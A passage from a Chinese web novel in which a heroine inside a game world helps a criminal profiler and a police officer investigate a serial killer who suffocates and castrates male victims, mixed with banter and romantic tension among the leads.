这一天下来玩得很开心,祝好本来已经差不多要把这个小插曲给忘了,可他偏偏哪壶不开提哪壶。
程述被她一顿炮轰,自讨没趣,摸了摸鼻子小声嘟囔:“不会有危险的,他的恐高症又不严重。”
看他这幅避重就轻的态度,祝好更来气了,扶着额角叹了口气:“程述,你真的很幼稚。”
这句话她之前也说过,认识这么久了,他还真是一点儿都没变,还是一样讨人厌。
“我——”
他辩解的话还没说完,祝好就飞快抬起手,手掌朝着他:“别跟我说话了,我现在不想理你。”
他表情僵了一瞬,尴尬地咳了一声,转过头去看向前方的路。
车里光线昏暗,空气仿佛凝滞住了,除了窗外偶尔掠过的一两声喇叭,就只剩下两人清浅的呼吸。
祝好口袋里的手机震动起来,她掏出手机,是秦聿风发来的一张照片和一条信息:“祝好,你忘了这个。”
照片上那只打cs赢得的小熊玩偶端正地坐在后座。
祝好回他:“留着它陪你吧,早点休息。”
秦聿风:“你也是。”
过了几秒钟,他又发了一条信息:“今天很开心,晚安。”
*
第二天一早,祝好刚从阁楼下来,就听到程述的声音从厨房里传出来:“你醒了?来吃早餐。”
祝好气还没消,闷闷地应了一声。
洗漱完毕后,她在餐桌旁坐下,程述从厨房里端出两个盘子,把其中一个推到她面前。盘子里是热气腾腾的吐司和半熟的荷包蛋,旁边还点缀了几个草莓。
程述把一杯热好的牛奶递给祝好,在她对面坐下,低头吃自己那份早餐,时不时抬眼看向她,一副欲言又止的模样。
隔着一张餐桌,祝好当然察觉到了他的目光,但是她气还没消,一点儿也不想搭理他。
看到第五眼的时候,他终于忍不住了,看似不经意地轻咳一声:“你没发现白眼狼变干净了吗?”
祝好瞥了白眼狼一眼,是干净了不少,打绺儿的毛也变得顺滑了。
程述见她终于有反应了,邀功似的挑了挑眉:“我昨天真的带它去洗澡了。”
祝好用最冷淡的语气“哦”了一声。
程述又说:“还多花了80块钱做了精油spa。”
“哦。”
“它现在快15斤了,你说它是不是该减肥了?”
祝好说:“少喂它吃点罐头就行了。”
“行,那从今天开始不喂了,减肥。”
祝好心不在焉地用叉子叉起一颗草莓,无端觉得自己跟程述就像是一对貌合神离的中年夫妻,感情已经被鸡零狗碎的日常稀释得差不多了,只能靠孩子的话题来维系着岌岌可危的婚姻关系。
她看得出程述应该是意识到自己惹她生气了,但那张为了怼人而生的嘴似乎很难说出什么道歉的话,只能用一些无关紧要的话题来缓解两个人之间的尴尬气氛。
祝好决定装作看不出他那点小心思,她倒要看看那张淬了毒的嘴什么时候才能主动服软。
而那位体重创新高的胖孩儿并不能理解人类“爸妈”的复杂心思,只听懂了“罐头”这个词,仿佛被激活了开关似的biaji往地上一躺,眨巴着眼睛看着程述,丝毫不珍惜多花了80块钱享受到的精油spa。
程述跟它对视片刻,败下阵来:“……明天再开始减肥吧。”
第130章
吃错药了……
指纹比对和尸检都需要时间,这期间没程述什么事,祝好当然也不需要去警局了。
吃过早餐,她也不想留在客厅里跟程述大眼瞪小眼,刚想回阁楼,就听到程述的手机响了起来。
程述接起电话,清了清嗓,刻意提高了声调:“喂,老秦?案子有进展啦?”
话刚落音,祝好脚步一顿,竖起耳朵静听。
“你已经在楼下了?”程述走到窗边往下瞧了一眼,又转头看向祝好:“老秦说死者身份确认了,你要不要一起——”
虽然祝好现在怎么看他怎么不顺眼,但剧情任务显然更重要,她点点头:“要。”
程述露出一个满意的笑,对着电话里的秦聿风道:“等两分钟,马上下去。”
秦聿风的车已经在楼下等着了,祝好打开后座的门刚要坐进去,程述就抢先一步从另一侧上了后座,抬手拍了拍身边的位置,示意她坐下来。
在他主动道歉之前,祝好发誓绝不会搭理他,于是朝他翻了个白眼,把门关上,坐到了副驾驶上。
秦聿风被他们俩这番意味不明的举动整得一头雾水,不过也没深究,只是从储物箱里拿出一个文件袋:“我们在数据库中找到了匹配的指纹,确定了死者的身份,他叫隗泽,21岁,是淮江市财经大学金融工程专业的一名学生。”
程述从他手里接过文件袋,把里面的资料拿出来随意翻了翻:“今天我们有什么任务?”
秦聿风回答:“尸检报告还没出来,我们先去他的寝室问问情况,我已经跟辅导员约好了。”
程述两只手指抵在太阳穴上往前一挥:“好嘞,没问题,一切听从秦警官安排。”
怎么那么积极,这还是那个一加班就喊着要提工资的程述吗?
“……”秦聿风从后视镜中狐疑地打量了他一眼,又转过头看向祝好,用眼神询问她“这家伙是不是吃错药了”,祝好耸了耸肩,一脸的“你是第一天认识他吗”。
秦聿风轻笑一声,启动车子朝着财经大学的方向开去。
明明来到这个游戏世界时祝好也才刚大学毕业不久,可再回到校园里,却无端有种恍若隔世的感觉。
今天的天气还算不错,阳光穿透枝叶的缝隙落在林荫小道上,仿佛撒下一层碎金,朝气蓬勃的大学生们三三两两结伴而行。
程述和秦聿风走在人群中,气质看起来跟青涩的大学男生完全不一样,吸引了不少人的目光。
穿过教学楼,隔着一个操场就是学生宿舍,隗泽所在班级的辅导员已经在楼下等着了。
秦聿风向辅导员出示了证件,辅导员礼貌地点点头算作回应,又叹了一口气,语气沉重:“没想到班上的同学居然出了这种事,我们都很难过。”
祝好问:“隗泽跟同学关系怎么样?”
辅导员跟宿舍管理员打了个招呼,带着他们往楼上走,边走边回答:“挺好的,他性格很开朗,跟大家相处得都很不错,不过……”
说到这里,她话音一顿,斟酌片刻才说:“听说他的个人生活有点混乱。”
没等祝好发问,她又连忙解释:“我也只是听说,毕竟都已经是成年人了,他的个人生活也轮不到我们老师插手,具体情况等会儿您可以问问他的舍友,他们应该比较了解。”
祝好点点头。
隗泽的宿舍是四人间,宿舍里其他三个人都在,一个是穿着印有卡通图案T恤的胖子,一个戴眼镜的卷毛,还有一个看着斯斯文文、长相清秀的男生。
三个人应该都提前从辅导员那里得知了隗泽的死讯,宿舍里的气氛有些凝重,所有人脸上都压着一层阴影,那个长相清秀的男生甚至眼眶泛着红,看起来应该是哭过。
大家都在为了隗泽的死而难过,看来的确如辅导员所说,他跟同学相处得都挺不错。
秦聿风拉了张椅子坐下,直入主题:“你们最后一次见到隗泽是什么时候?”
卷毛回忆了一下:“应该是……前天晚上八点左右。”
“在哪儿见的?”
胖子接过话茬:“就在宿舍,当时我俩在打游戏,看到他出门了,但不知道去了哪儿。”
昨晚发现隗泽的尸体时,温珣判断他的死亡时间是24小时左右,也就是说,他是离开宿舍不久后遇害的。
秦聿风又问:“隗泽平时为人怎么样?”
卷毛回答:“他人挺好的,就是有点儿花心。”
这倒是跟辅导员说的“个人生活有点混乱”对上了。
秦聿风眼角微微一眯:“花心?”
“嗯,我经常看到他跟不同的女孩子出去玩,不过他又高又帅,家里又有钱,受女生欢迎也不奇怪。”胖子的语气有些酸溜溜的。
“那他有固定的女朋友吗?”
卷毛嘴角一撇:“应该没有吧,我没见过有同一个女生在他身边超过三天。”
程述问:“那有没有谁跟他有过感情纠葛、以至于想要了他的命?”
胖子跟卷毛都摇了摇头:“那倒是没听说过,他这人虽然玩得花,不过人情世故做得挺到位,我还没听过有谁说他坏话的。”
宿舍里是上床下桌的布局,祝好扫视宿舍一圈,指了指其中一张空着的床位问:“他的床位是这个吗?”
“是的。”
顺着他们的话音望去,隗泽的桌面收拾得非常整洁,甚至可以说是一尘不染,书本按类叠放,各类护肤品一应俱全,连香水都有好几瓶,均是价格不菲的品牌,看得出他的生活非常精致。
再看向其他床位,那个长相清秀、一直没说话的男生,桌面同样十分整洁,而胖子和卷毛更像是典型的宅男,桌面上堆满了外卖盒子和啤酒罐。
祝好问:“隗泽的桌面是他自己收拾的吗?”
卷毛摇摇头,朝着那个清秀的男生抬了抬下巴:“都是许梓骁帮他收拾的。”
祝好看向那个名叫许梓骁的男生,他一直没有开口说话,只是双腿并拢坐在自己的椅子上,时不时抽泣一声。
察觉到祝好的视线,他微微抬眼,目光交汇的瞬间又迅速低下头,不安地绞动自己的手指。
祝好没说话,继续拉开隗泽的衣柜检查。
他的衣服很多,都是比较时尚的大牌,同样叠放得很整齐。在衣柜深处,祝好找到了一个首饰盒,打开一看,里面是一根手工编织的手链,上面有一个装饰的字母“X”。
手环很新,看起来它的主人几乎没戴过它。
祝好把手环放回盒子里,关上衣柜门,转头对许梓骁笑了笑:“许梓骁,你可以出来一下吗?我想跟你单独聊聊。”
许梓骁听到自己的名字,浑身颤了一下,犹豫片刻,默不作声地点了点头。
秦聿风向祝好投去探寻的目光,似乎也不太明白她的用意,不过他没有刨根问底,只是示意程述跟她一起出去。
站在空无一人的走廊里,许梓骁双手插在上衣口袋,低头看着自己的鞋尖,神情局促。
祝好放缓声线:“不用紧张,我只是想问你一些跟隗泽有关的事。”
许梓骁看了看祝好,又看了看程述,眼角眉梢有些戒备:“什么事?”
祝好说:“你和隗泽是什么关系?”
许梓骁一愣,嗫嚅着回答:“同、同学。”
“只是同学吗?”
他的喉结轻滚,垂下眼帘,避开了祝好探寻的目光:“还是舍友。”
“那你为什么要帮他收拾桌子?”
他还是含含混混地说:“只是……顺手而已。”
祝好不想跟他绕圈子了,冷不丁一把抓住他的胳膊,把他的右手从口袋里抽出来,又将他的袖子往上捋了一些。
“你干什么?”
许梓骁猝不及防,倏地把手抽回来藏在身后,但祝好还是看清了他手腕上那串跟隗泽同款的手链。
祝好试探地问道:“你喜欢他?”
许梓骁脸色一变,眼圈蓦地红了,支支吾吾道:“我——”
看来事情跟祝好猜测的差不多,她舒展嘴角,轻声安慰:“没关系,这里没有其他人,我们只是希望调查清楚隗泽的死因,不论你说了什么,我们都不会说出去的。”
说完用手肘捅了捅程述:“是吧?”
程述难得安静,没有插话也没有怼人,乖巧地点点头:“嗯。”
许梓骁强忍的情绪本就已经像一只充满气的气球,只要轻轻一碰就会立刻爆发。他终于绷不住,双手捂着脸蹲在地上痛苦地呜咽起来:“他、他离开前还好好的,怎么会发生这种事……为什么偏偏是他?”
祝好也不催促,只是站在一旁静静等待着。
过了十多分钟,许梓骁的情绪终于平复了些,抱着胳膊靠在墙边,蒙着水雾的眼睛里没有一丝神采。
祝好给他递上一张纸巾,轻轻拍了拍他的肩膀:“节哀顺变,不过我们需要尽快查明杀害隗泽的凶手,你或许能帮助我们。”
许梓骁接过纸巾擦了擦被眼泪泡得生疼的脸,仰着头深吸了一口气,才缓缓道:“其实我们在一起已经半年了,不过一个月前刚刚分开。”
回想起隗泽的指导员和舍友对他的评价,祝好不由得皱了皱眉:“他是……双性恋?”
许梓骁摇摇头:“他只喜欢男生,不过他家教很严,也很注重自己的形象,不想让别人知道这件事,担心会遭到嘲笑。我也理解他,所以我们一直都是私下约会。”
他低头看着自己手腕上的手链,嘴角扯出一个酸涩的笑:“这两根手链都是我亲手编的,他虽然从来没戴过,但一直珍藏着。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
130-140
第131章
从隗泽电脑中找到的同性色情视频以及许梓骁提供的聊天记录来看,许梓骁没有说谎,他们的确曾是秘密的情侣关系。
据许梓骁所说,除了他们两个人之外,没有人知道隗泽喜欢同性。他非常惧怕自己的真实取向被人发现,因此才不停更换身边的女伴,为自己打造出花花公子的人设,防止别人对他产生怀疑。
至于他们为什么会分手,许梓骁说是自己提出的。他虽然深爱着隗泽,但时间久了也无法忍受这种见不得光的关系,更不想看道他三天两头和女孩子出去约会,来掩饰自己喜欢同性的事实。
隗泽遇害的那天晚上,许梓骁一整晚都在寝室里,卷毛、胖子以及宿舍门口的监控摄像头都可以证明,这也就可以排除他因爱生恨杀人的嫌疑。
他们又从隗泽电脑的社交软件中找到了几个近期跟他有过联系的女生,也证实了几个舍友的说法:每次隗泽约她们出去都是单纯的吃饭、泡吧,从来没有过什么出格行为,哪怕女孩主动提出要在外留宿,他也会以自己比较保守为由拒绝。
忙活一上午,很快就到了饭点。
午饭时间,财经大学的食堂挤满了排队买饭的学生。相比起外面的餐馆,大学食堂整洁干净,价格也实惠。
他们买好饭,挑了个僻静的角落坐下,秦聿风专注地翻看着手里的资料,眉头越拧越深,忍不住朝程述发出疑问:“老程,你的判断不会失误吧?”
程述正盘算着如何把他餐盘里的鸡腿偷过来,心不在焉地问了句:“什么?”
秦聿风压低声音,生怕在学校食堂讨论这桩吊诡的命案会引发恐慌:“你不是说,那玩意儿被割掉的案子,十有八九是跟仇恨以及性有关吗?”
程述若无其事地把筷子伸向他的餐盘:“是啊。”
“可我们已经证实了许梓骁没有作案时间,他身边那些女孩子也没有作案动机,那还会有谁那么恨他,恨到——”他快准稳地夹住朝程述的筷子,“恨到要把他那玩意儿切掉?”
程述不置可否地一耸肩:“尸检结果什么时候出来?”
话刚落音,秦聿风就收到了一条信息。他拿出手机看了一眼,把屏幕对着程述晃了一下:“刚收到温主任的信息,出来了——哎,鸡腿还我!”
祝好无奈地看着他们为了争夺鸡腿用筷子打了一架,低头默默吃饭。
*
警局解剖室里,隗泽从前胸背剖开的尸体就静静地躺在不锈钢解剖床上,他的两腿中间泛着血肿,只剩下一块裸露在外的皮肉,而被切割下来的生殖器正漂浮在装满福尔马林的玻璃罐中。
厚厚的口罩也隔绝不了解剖室里福尔马林的气味,祝好忍了又忍,才勉强没把刚才吃下去的午饭吐出来。
为了照顾祝好的观感,温珣贴心地用一张白布覆盖住尸体的下半身,才笑着跟她打招呼:“祝好。”
祝好拍了拍胸口,吐出一口气,朝他弯起眉眼:“下午好,温珣,你的衣领翻起来了——”
话说到一半,祝好才注意到他还戴着手套。如果要整理衣领,他就得把手套重新脱下来,于是主动说:“你把头低下来,我帮你整理一下。”
温珣眼里带着笑意,轻轻“嗯”了一声,弯下了身子。
祝好的手刚抬到半空中,身后突然传来程述的声音:“哟,温主任的领子怎么乱啦?来来来,我帮你理理。”
说完两条长胳膊绕过祝好,捏着兰花指把温珣的领子理好了,还不忘拍拍他的肩膀:“不用谢,温主任。”
温珣:“……”
祝好:“……”
一个提升好感度的机会就这么被他给浪费了,祝好捏紧拳头,恨不得给他来上一套组合拳,好在秦聿风及时推门而入,阻止了她这个危险的想法。
他没注意到解剖室里的小插曲,抬眼给温珣递了个眼神:“不好意思,刚刚去拿资料了。温主任,说说什么情况?”
温珣点点头,走到了解剖台旁边:“死因已经确定了,是机械性窒息。从尸斑的形态上看,他死的时候面部朝上。”
“机械性窒息?”秦聿风戴上手套,轻轻翻开隗泽的嘴唇,皱了皱眉:“脖子上没有索沟或者扼痕,口鼻处也没有挫伤,为什么会是机械性窒息?”
“机械性窒息有很多种,你说的勒死、缢死、扼死、闷死、哽死,以及溺毙和胸腹腔受压的确是最常见、也是最容易从体表看出来的。”
温珣接着说:“不过我切开了他的头皮,发现他的颞骨岩部有淤血,他应该是被人用塑料袋一类的东西套在了头上,导致呼吸困难,窒息而死。”
祝好提出疑问:“被人用塑料袋套着头,难道他就不会反抗吗?”
隗泽身高至少一米八几,体重也有七八十公斤,从身形上看,他应该经常出入健身房,要制服这么一个人高马大的小伙子可不是件简单的事。
“你看看这儿。”温珣指了指隗泽的手腕,上面有一道道层层叠叠的血痕:“他的手腕和脚踝处都有捆绑和挣扎留下的痕迹,凶手应该是先将他的手脚控制住,再实施的谋杀。”
顿了顿,他又说:“不过我并没有在他的血液中检测到药物成分,凶手或许是用什么方法胁迫了他、让他乖乖听话,才绑住他的手脚的。”
祝好若有所思。
“还有一种可能,他不是被胁迫,而是自愿的。”程述弯下腰,视线和那根泡在福尔马林罐子中的男性生殖器齐平:“我说什么来着?凶手割掉他的生殖器,说明他的死十有八九跟性和仇恨有关。”
祝好恍然:这么一来就说得通了,如果隗泽是自愿被绑在床上的,那么就算被塑料袋套住头、呼吸困难,他也无法挣扎和逃脱,只能眼睁睁等待自己的生命消逝。
能让他自愿被绑在床上,除了被胁迫,也就只剩下一种可能了。
“那个——”秦聿风看了看那根生殖器,不由得皱起眉:“用什么切的?”
温珣撇了撇嘴:“切割面平整,应该是一把单面刀具,从伤口形态上看,凶手很冷静,手法也很干净利落。”
根据隗
泽舍友的证词,他前天晚上八点左右离开宿舍,当天晚上就遇害了。也就是说,最后跟他一起出现的人有重大的作案嫌疑。
不过要找到那个人,也不是一件简单的事。
许梓骁说,隗泽出行一般都选择出租车。而财经学校地处淮江市中心位置,交通情况十分复杂,想要查到他那天晚上的行踪就得把附近上百个摄像头统统筛查一遍,工作量不容小觑。
从解剖室出来,秦聿风先去会议室给警员分配工作了。
祝好察觉到程述跟在自己身后,不由得加快脚步,可程述还是不依不饶,加快速度往前跨了两步挡在她面前,朝她挤眉弄眼:“小助手,还在生气吗?”
祝好给了他一个“你这不是废话么”的表情,想要绕过他离开,没想到他死皮赖脸挪了下步子,跟一堵墙似的挡住了她的去路:“怎么样才能气消?”
祝好朝他翻了个白眼:“你智商那么高,不如你告诉我,如果觉得自己错了,要怎么做才能让对方气消?”
程述想了想:“要不我给你磕两个?”
祝好:“……”
她没好气道:“好啊,你磕。”
程述认真地点点头,后退两步,提了提裤腿,膝盖一弯,作势就要跪下来。
“诶,你——”祝好冷不丁被他这突如其来的举动吓了一跳,生怕这个不按套路出牌的家伙真的在警局的走廊里给自己哐哐磕两个响头,赶紧一把扯住他的胳膊:“你给我起来!”
程述露出一个得逞的笑容:“气消了?”
祝好无奈:“想让我气消,你就没想过还能有更简单方便、快捷有效的方式?”
她觉得这人可真奇怪,宁可给她磕头也不肯道个歉,就好像主动说出那三个字会让他的寿命减少十年似的。
程述站在原地,仿佛花了很久的时间给自己加油打气,最后才下了很大决心似的说道:“行吧,对不起。”
这是祝好第二次从他嘴里听到这句话,虽然能听出一丝不情愿,但态度还算诚恳。
她清了清嗓:“这就结束了?”
“还有什么?”
“原因呢?”
程述咬着嘴唇,露出一个难看的假笑:“对不起,祝大小姐,我不应该违背军师的职责,拿你寻开心,破坏你的约会。”
恰好秦聿风拿着一沓资料从会议室里出来,祝好强行压下嘴角,朝着他走来的方向抬了抬下巴,故作严肃:“你还要去和秦警官道歉,你知不知道我听了你的话带他去坐了云霄飞车,都快把他吓死了。”
程述拒绝得干脆利落:“不要。”
“那我走了。”
他脸上闪过混杂着无言以对的愠怒:“你——”
祝好抬手拍了拍他的肩膀,冲他狡黠一笑:“去吧,听话。”
“……”程述叹了口气,捏了捏眉心,嘟哝道:“麻烦死了。”
他不情不愿地转身走到秦聿风面前,伸出一条胳膊拦住在他面前。
秦聿风脚步一顿,把视线从手中的文件挪到他脸上,疑惑道:“干什么?”
“那个……”程述回头看了祝好一眼,不自在地轻咳一声:“那什么,对不起。”
最后那三个字说得含混不清,声音也很小。
秦聿风一时没反应过来,倏地一愣:“你说什么?”
他做了个深呼吸,像是拼劲了全力,稍稍拔高了声线:“我说,对不起。”
惊讶的表情在秦聿风脸上凝滞片刻,而后逐渐变成了惊恐:“对、对不起什么?你把我车撞了还是把警局烧了?”
程述一条胳膊撑在墙上,手虚挡着自己的脸,语速飞快地解释:“昨天……是我让祝好带你去坐云霄飞车的。”
秦聿风花了足足五六秒钟才让当机的大脑重新运转起来,“扑哧”一声乐了:“我没听错吧,你居然在跟我道歉?你是不是鬼上身了,居然为了这个跟我道歉?”
“……”程述一脸生无可恋,仿佛刚刚做的是什么把自己身家性命全部豁出去的壮举。
秦聿风则像是遇到了这辈子难得一遇的奇观,难以自抑地哈哈大笑起来,手忙脚乱从口袋里掏出手机,打开摄像头对着他:“等等,你能不能再说一遍?我想录下来当手机铃声。”
“你大爷的,信不信我把你手机摔了。”程述抢过他的手机摁灭屏幕,塞回他口袋里,转身扯着祝好的胳膊往外走:“走了,回家。”
第132章
一连两天,警方的调查都没有什么新的进展。
学校周围的监控实在太多,十几个警员三班倒反复排查了好几次,终于在一个不起眼的角落捕捉到了隗泽坐上出租车的身影,然而也不知是不是系统不想让案子这么快解决,监控里出租车的车牌号恰好被路过的人挡住了。
抛尸现场没有发现隗泽的手机,因此也无法查出他的消费记录,他生前最后的行程,至今还是一团迷雾。
第三天的早上,程述终于接到了秦聿风的电话,不过他带来的并不是什么线索,而是另一个坏消息:有人报警称在郊外一处野地里发现了一具男尸。
等祝好和程述赶到时,现场已经拉起了警戒线,刑事照相人员和痕检部的警员正有序地在周围搜集证据。
受害者的尸体被凶手扔在一处稀疏的草丛中,从祝好的角度看去,只看到尸体的两条小腿,以及温珣和法医助理半蹲在地上做尸检的背影。
再靠近一些,尸体的全貌才呈现在眼前。
这回的受害者看起来比隗泽年纪稍大一些,大概三十岁的样子,不同的是他只有下半身赤裸,上半身则穿了一件看起来像是工作服的衬衫,衣服下摆沾上了一些血迹。
他的生殖器也被切了下来,像垃圾似的扔在一旁。
看到程述和祝好,秦聿风勉强挤出笑容打了个招呼,然后向他们复述了一遍温珣的尸检结果:“死亡时间大概是昨晚的十点到凌晨一点之间,死者身上没有明显的致命伤,手腕和脚踝有同样的勒痕,生殖器也是死后被切割下来的。从作案手法上看,跟上一起案子十分相似,甚至可以说是一模一样。”
他的目光又转向地上那具尸体,捏着自己的眉心叹了口气:“老程,你说这是怎么个事?”
程述没回答,手撑在膝盖上打量了尸体一眼,问道:“死者身份查清楚了吗?”
秦聿风摇了摇头,又说:“这衬衫看着像是银行工作人员的统一制服,带着照片去各大银行问一问,应该很快就有结果了。”
程述的脸上是少见的严肃:“抓紧时间吧,我们得尽快找出受害者之间的联系,如果是同一个人所为,很快还会出现下一个受害者。”
祝好明白他们的忧虑——两起或两起以上涉及杀人行为的相关联案件可以定性为系列谋杀。
隗泽那起案子的细节并没有对外界公布过,可短短几天时间内,就出现第二起作案手法如此相似的案件,说明凶手很有可能是同一个人。
也就是说,他们要面对的也许是一个杀人后将人阉割的连环杀手,他的作案时间间隔很短,说不定已经在物色下一位受害者了。
秦聿风点点头,神色凝重:“知道了。”
*
第二名死者的身份是在当天傍晚确定的,他的确是一名银行的员工,名叫严睿,今年32岁。
据严睿的妻子所说,昨天晚上他下班后说自己有一个应酬,会很晚才回去,让妻子先睡,不用等他。可一直到了第二天他也没回家,电话也处于关机状态。
接待室里,严睿的妻子哭得上气不接下气,她接过祝好递来的纸巾,擦了擦眼泪,花了足足五分钟才让情绪稍微平复了一些:“我还以为他是喝多了在外面宾馆过夜,就没在意,因为之前也发生过这样的事。可到了早上他也没回来,我就打电话去问了他的同事,才知道他昨晚根本没去应酬。”
在询问严睿的同事时,他们也证实了严睿并没有去参加应酬,理由是要回家陪妻子。
如果他既没有去应酬,又没有回家,那会去了哪里?
秦聿风皱了皱眉,问道:“除了应酬,你知道他还有可能去哪儿吗?”
严睿的妻子犹豫片刻,摇了摇头。
程述对秦聿风使了个眼色,秦聿风会意,斟酌着语气问道:“那个,我问个比较冒昧的问题,你有没有怀疑过……严睿是同性恋?”
严睿的妻子倏地一愣,止住了哭泣,茫然地看向秦聿风:“为什么这么问?”
警房通知家属来认尸时,并没有告诉她严睿的死因、以及他生殖器被切割下来的事。
秦聿风没回答,只是笑了笑:“原因我们暂时还不能透露,不过你的如实回答对案件的侦破会有很大帮助。”
严睿的妻子认真思索了一番,摇了摇头:“没有,他不是同性恋,我们的夫妻生活很正常……除了应酬比较多,我没发现他有什么异常。”
祝好敏锐地从她这句话里捕捉到一丝端倪,正常来说,她只需要回答严睿是不是同性恋就完事儿了,后面那句解释明显是多余的。
她似乎在掩饰什么。
祝好忍不住插了句话:“女士,他真的只是去应酬吗?”
严睿的妻子怔了怔,垂下眼帘,轻轻抚摸着自己的小腹,过了好一会儿才低声说:“我已经……怀孕四个月了。”
她穿着宽松的大衣,遮住了隆起的小腹,从外观上根本看不出来。
顿了顿,她的声音又忽而有些哽咽:“从两个月前,严睿经常很晚才回家,每次都说有应酬。我怀疑他有了外遇,就查了他的通话记录,却没找到什么证据。”
女人的第六感向来很准,特别是对自己朝夕相处的枕边人,虽然没有证据,但
她很肯定严睿一定有事瞒着自己。
“我本来想找他问清楚,又担心如果真的是我想的那样,会对我们的婚姻造成影响,所以还是默默忍了下来,我不想让肚子里的孩子没有爸爸。”
看着她默默抹泪,祝好本想劝她这样的男人不值得,但话到嘴边又咽了回去——正所谓站着说话不腰疼,作为一个旁观者,她也没有权利对他人的生活和选择指手画脚。
秦聿风问:“所以你知道严睿昨晚没去应酬,很可能是去找了‘外遇对象’?”
严睿的妻子又一次红了眼眶,看着自己的小腹点了点头。
秦聿风从文件袋里拿出隗泽的照片摆在桌上,问她:“他叫隗泽,是财经大学的一名学生,你见过、或是听严睿提起这个人吗?”
她吸了吸鼻子,拿起照片认真地看了许久,摇摇头说:“没有。”
秦聿风还想接着问什么,接待室的门忽然被敲响。
一名警员开门探头进来,目光从严睿的妻子身上掠过,低声朝着秦聿风道:“秦队,有发现。”
秦聿风应了一声,让警员安排两个人陪着严睿的妻子,然后给程述和祝好递了个眼神,示意他们一起离开。
关上接待室的门,警员才说:“我们询问过许梓骁,他说并不认识严睿,也从没有听隗泽提起过这个人,我们也对他们的人际关系进行了交叉对比,确定两位死者并不认识。”
这么看来,严睿的妻子没有说谎。
警员又把一部用证物袋包裹的手机递给秦聿风:“另外我们在严睿的办公室里找到了一部备用手机,破解密码后,在里面发现了一款时下最流行的约炮软件。”
秦聿风接过手机,点进了那款软件。
为保证客户隐私,软件采用的是“阅后即焚”的模式,聊天记录并没有保留下来。
不过从手机的“设置”中可以看到,严睿使用这款软件的频率很高,最后一次使用的时间是昨天下班前一个小时,这也基本验证了他妻子的猜想——之前所谓的应酬,不过是他出轨或者约炮的借口罢了。
秦聿风把手机还给警员,问道:“严睿昨天是怎么离开公司的?”
“开他自己的车。”警员说:“不过他的车还没有找到。”
秦聿风点点头,交待道:“继续查监控,一定要尽快找到他的车,我们需要知道他昨晚到底去了哪里。”
警员应了一声,匆匆忙活去了。
*
回到办公室里,秦聿风把所有的资料和照片都用磁铁固定在白板上,捻着下巴看了好一会儿,自言自语道:“除了性别之外,这两位死者不论是身高、年龄、外形甚至是性取向都不相同,凶手为什么会选择他们作为目标?”
程述耸了耸肩,一副事不关己的模样:“你问我,我问谁。”
“你特么——”秦聿风把手里的纸揉成一团砸向他,他头一偏躲过了,纸团不偏不倚落在了站在他身后的祝好头上。
秦聿风一愣,下意识把手抬到祝好头顶,手伸到一半又觉得不妥,尴尬地收了回来,磕磕巴巴地跟她道歉:“对、对不起,我不是故意的。”
程述看他脸红得跟猴屁股似的,绷不住幸灾乐祸地笑出声来,又说:“其实我有点饿了,如果有点东西填饱肚子,我可能会有点灵感。”
“行行行,吃不死你。”秦聿风从口袋里摸出钱包扔给他:“要吃什么你自己买去,顺便给我带一份就行。”
“既然秦队那么主动,我就不客气了。”程述毫不客气地把钱包揣进兜里。
祝好没理会他们的拌嘴,出神地看着白板上的一条条线索发呆。
她记得之前在程述那堆晦涩难懂的犯罪心理学专业书籍上曾经看到过,系列杀手选择被害人时一般基于被害人的可获得性、易攻击性和合意性。
可获得性是指被害人的生活方式或生活环境使其有机会被诱拐或者无人挂念,换句话说,就是他们的失踪不会马上被人注意到,例如外来务工人员、流浪汉或者性工作者。
易攻击性是指被害人容易受到侵害的程度,例如没有反抗能力的小孩子,独行的女性或者老人等。
隗泽跟严睿显然并不符合这两点,那么凶手选择他们,一定是基于合意性,也就是说,他们的某项特征符合凶手的偏好。
可如秦聿风所说,两名受害者除了性别之外,年龄、职业、长相、身材以及性取向都不相同,那么他们身上究竟有什么共同点,让凶手选择了他们呢?
难道说……
祝好的心底隐隐约约浮现出一丝揣测,她刚想抓住那转瞬间出现的灵感,肩膀却被程述拍了一下:“走,我们去买份晚餐。”
那点好不容易现出形迹的思绪被他打断,再怎么也续不上了,祝好气得想揍他一顿,没好气道:“不去,你自己去。”
他眼底闪过一丝不易察觉的失落,但很快又恢复如常,无所谓地撇了撇嘴:“行吧,那只好委屈我给你们当个跑腿了。”
第133章
程述离开后,办公室里只剩下秦聿风和祝好。
秦聿风把椅子挪到白板前,全神贯注地盯着上面的一张张照片,祝好也在沙发上坐下,试图把刚刚断片的思绪续上趟。
过了会儿,秦聿风忽然“嘶”地抽了口气,喃喃自语道:“不对啊。”
祝好还以为他有了什么发现,赶紧问:“怎么了,哪里不对?”
秦聿风短暂地沉默了一下,才说:“你说老程为什么会跟我道歉?”
祝好:?
道歉的事已经过去两天了,她都快要忘了这茬儿,秦聿风怎么又突然想起来了?
下一秒,秦聿风就十分有默契地回答了她心里的疑问:“不是,这事儿我琢磨了两天了,还是没想明白。”
祝好觉得奇怪:“他做错事不是该道歉吗?”
这有什么想不明白的。
“我的意思是——”秦聿风转动着手中的笔,轻轻摇了摇头:“这么说吧,我们还在上警校那会儿,有一回我跟他搭档练习近身格斗,那家伙用力过猛把我左边胳膊弄脱臼了。结果你猜怎么着?他宁愿连续帮我带半个月的饭,也没跟我说过一句‘对不起’。”
他单手拿着笔,一下一下敲着自己的下巴:“我真是越想越不对劲,你说他是不是背着我做了什么杀人越货的事,不然怎么会突然跟我道歉呢?”
眼看他被这个问题困扰得都没办法专注在案子上了,祝好只好跟他实话实说:“其实是我让他跟你道歉的。”
“啊?”秦聿风更惊讶了,嘴巴张成了一个“o”字型,好半天没合起来,满脸的不可置信。
祝好耸了耸肩,解释道:“谁让他贱兮兮的,明知道你有恐高症,还让我带你去玩高空项目。”
秦聿风摇了摇头:“我在意的不是这
个,我又不是第一次被他捉弄。如果有一天我溺水了伸手向他求救,他在拉我上来之前,一定会先跟我击个掌。”
祝好没绷住笑出声来:这么一说,还真挺像程述会做出来的事。
秦聿风也跟着她笑了会儿,然后忽地敛起笑容,没头没脑地开口:“你知道吗,自从小霜出事之后,老程的生活简直过得一团糟。五年了,我不知道劝过他多少回,但他这个人就跟穿了层铁布衫一样刀枪不入、软硬不吃,我当时真觉得他要一直这么颓废下去了。”
他话音一顿,长叹了口气:“说实话,我最近感觉到他真的变了许多。一开始我以为是许安宁模仿作案的事让他重新振作起来,但后来一细想,一切好像都是从你出现后才开始改变的。”
祝好下意识顺着他的话音抬起头,一时没反应过来:“我?”
某一瞬间,她的心里浮光似的闪过一些细碎的片段。
